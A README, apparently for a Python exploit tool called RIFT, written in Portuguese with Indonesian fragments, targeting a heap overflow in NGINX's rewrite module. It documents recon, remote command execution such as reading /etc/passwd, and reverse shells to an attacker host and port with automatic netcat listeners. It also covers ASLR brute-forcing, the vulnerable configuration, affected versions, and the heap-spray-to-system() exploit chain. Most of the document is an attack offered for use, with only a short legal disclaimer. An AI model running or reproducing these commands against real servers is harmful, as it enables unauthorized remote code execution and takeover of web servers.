RIFT — Injeção Remota & Disparo de Falhas

Autor: Michael Sanji Winaya Prawiradibrata
Coautor de IA: Varanus — meu amigo

Estrutura de exploit de heap buffer overflow direcionada ao ngx_http_rewrite_module do NGINX.
Uma ferramenta para reconhecimento + exploração. Zero dependências externas.

Conteúdo do Repositório

Requisitos

• Python 3.6+ (apenas stdlib — sem pip, sem venv, sem dependências)

Início Rápido

# 1. Full reconnaissance — deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon

# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only

Todas as Flags

Modo de Uso

Opções de Exploit

Opções de Recon

Recursos Principais

✅ Reverse Shell Automático

Ao usar --shell, o script automaticamente:

1. Gera o payload de reverse shell conforme --shell-type
2. Abre o listener em --lport
3. Envia o exploit
4. Assim que o worker crash → a shell entra
5. Listener automático: Prioriza netcat (nc -lvnp), fallback para listener Python

✅ Força Bruta Automática de ASLR

Se o endereço padrão falhar, o script desloca automaticamente a heap base em ±5 passos × 0x10000, procurando um endereço compatível. Não é necessário configuração manual.

✅ Reverse Shell Multi-Payload

4 tipos de payload de shell — python, bash, nc, php. Escolha o que estiver disponível no alvo.

✅ Reconhecimento Completo

--recon executa 5 fases:

1. Fingerprint — detecta versão do NGINX, 15 endpoints comuns, módulo rewrite
2. Vazamento de informações — endereço de memória na página de erro, canal lateral de timing
3. Teste de endpoint — comportamento do endpoint com 6 tipos de payload
4. Contagem de workers — estima o número de processos worker a partir do padrão de latência
5. Estratégia — recomenda ações com base nos resultados da análise

✅ Saída JSON

--output json para integração com outras ferramentas ou parsing automático.

Configuração Vulnerável

O alvo do exploit é NGINX com configuração rewrite + set assim:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # length calc pake is_args = 0
}

Consequência: o buffer alocado é pequeno demais, o escaping de URI (expansão de 3×) causa overflow.

Versões Afetadas

• NGINX Open Source: 0.6.27 – 1.30.0
• NGINX Plus: R32 – R36
• Corrigido: 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

Como Funciona o Exploit

1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")

Constantes Importantes (podem ser alteradas em rift.py)

Exemplos Completos

Execução de Comando + Verbose

python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

Endereço Personalizado (bypass de ASLR)

python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Muitas Tentativas

python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

Recon + JSON

python3 rift.py --target 10.10.10.10 --recon --output json

Gerar Script de Exploit

python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

Solução de Problemas

"O alvo não parece estar rodando NGINX"

• Verifique a porta: nc -zv <IP> 80
• Tente outra porta: --port 8080, --port 443
• Pode estar atrás de WAF/proxy

"Todas as tentativas de exploit falharam"

1. O ASLR pode estar ativo — tente --auto para o deslizamento automático de ASLR
2. A versão do NGINX pode já estar corrigida (> 1.30.1)
3. A configuração do NGINX pode não ser vulnerável (não usa rewrite+set)
4. Tente --verbose para ver detalhes por tentativa

A shell não conecta

• Verifique o firewall local: sudo ufw allow 4444
• Verifique --lhost — certifique-se de que o IP local está correto
• Tente --shell-type bash ou --shell-type nc

Aviso Legal

Feito apenas para fins educacionais e testes de segurança autorizados.
O uso em sistemas sem autorização é ilegal.

© 2026 Michael Sanji Winaya Prawiradibrata
Coautor de IA: Varanus